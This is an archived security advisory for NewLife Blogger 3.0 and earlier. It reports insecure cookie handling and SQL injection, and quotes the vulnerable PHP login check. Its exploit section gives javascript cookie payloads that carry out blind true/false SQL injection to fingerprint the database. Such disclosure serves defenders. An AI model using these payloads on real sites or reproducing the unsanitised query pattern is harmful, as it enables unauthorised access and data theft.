NewLife Blogger <= v3.0 / Insecure Cookie Handling & SQL Injection Vulnerability

2009.02.21
Credit: Pepelux
Risk: High
Local: No
Remote: Yes
CWE: CWE-89


Ogólna skala CVSS: 7.5/10
Znaczenie: 6.4/10
Łatwość wykorzystania: 10/10
Wymagany dostęp: Zdalny
Złożoność ataku: Niska
Autoryzacja: Nie wymagana
Wpływ na poufność: Częściowy
Wpływ na integralność: Częściowy
Wpływ na dostępność: Częściowy

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= -=-=-=-= NewLife Blogger <= v3.0 / Insecure Cookie Handling & SQL Injection Vulnerability -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= -=-=-=-= $ Program: NewLife Blogger $ Version: <= 3.0 $ File affected: system/nlb_user.class.php $ Download: http://sourceforge.net/projects/nlb/ Found by Pepelux <pepelux[at]enye-sec.org> eNYe-Sec - www.enye-sec.org Cookie format is: nlb3=7::96e79218965eb72c92a549dd5a330112 nlb3=iduser::md5 pass --Bug -- 143. function checkLogin( ) { 144. // loing check 145. if( isset( $_COOKIE['nlb3'] ) ) { 146. $data = explode( '::', $_COOKIE['nlb3'] ); 147. $id = $data[0]; 148. $pass = $data[1]; 149. $fromdb = $this->sql->getArray('SELECT password FROM ' . db_users . ' WHERE user_id = ' . $id . ' LIMIT 1;'); 150. if( $pass === $fromdb['password'] ) { 151. $this->setid( $id ); 152. $this->isLogedIn = true; 153. } else { 154. $this->isLogedIn = false; 155. } 156. } 157. // we also check for banned users 158. $this->checkBanned(); 159. } -- Exploit -- True/false method to blind mysql injection. Examples: javascript:document.cookie = "nlb3=7 and 1=1::96e79218965eb72c92a549dd5a330112" Response: You appears as logged in javascript:document.cookie = "nlb3=7 and 1=0::96e79218965eb72c92a549dd5a330112" Response: You appears as not logged in javascript:document.cookie = "nlb3=7 and (select substring(version(),1,1))=4::96e79218965eb72c92a549dd5a330112 Response: You appears as logged in if MySQL version is 4 javascript:document.cookie = "nlb3=7 and (select substring(version(),1,1))=5::96e79218965eb72c92a549dd5a330112 Response: You appears as logged in if MySQL version is 5

Referencje:

http://xforce.iss.net/xforce/xfdb/45821
http://xforce.iss.net/xforce/xfdb/45820
http://www.securityfocus.com/bid/31728
http://www.securityfocus.com/archive/1/archive/1/497283/100/0/threaded
http://www.pepelux.org/exploits/newlife-es.txt
http://www.milw0rm.com/exploits/6739
http://www.frsirt.com/english/advisories/2008/2797
http://secunia.com/advisories/32214


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top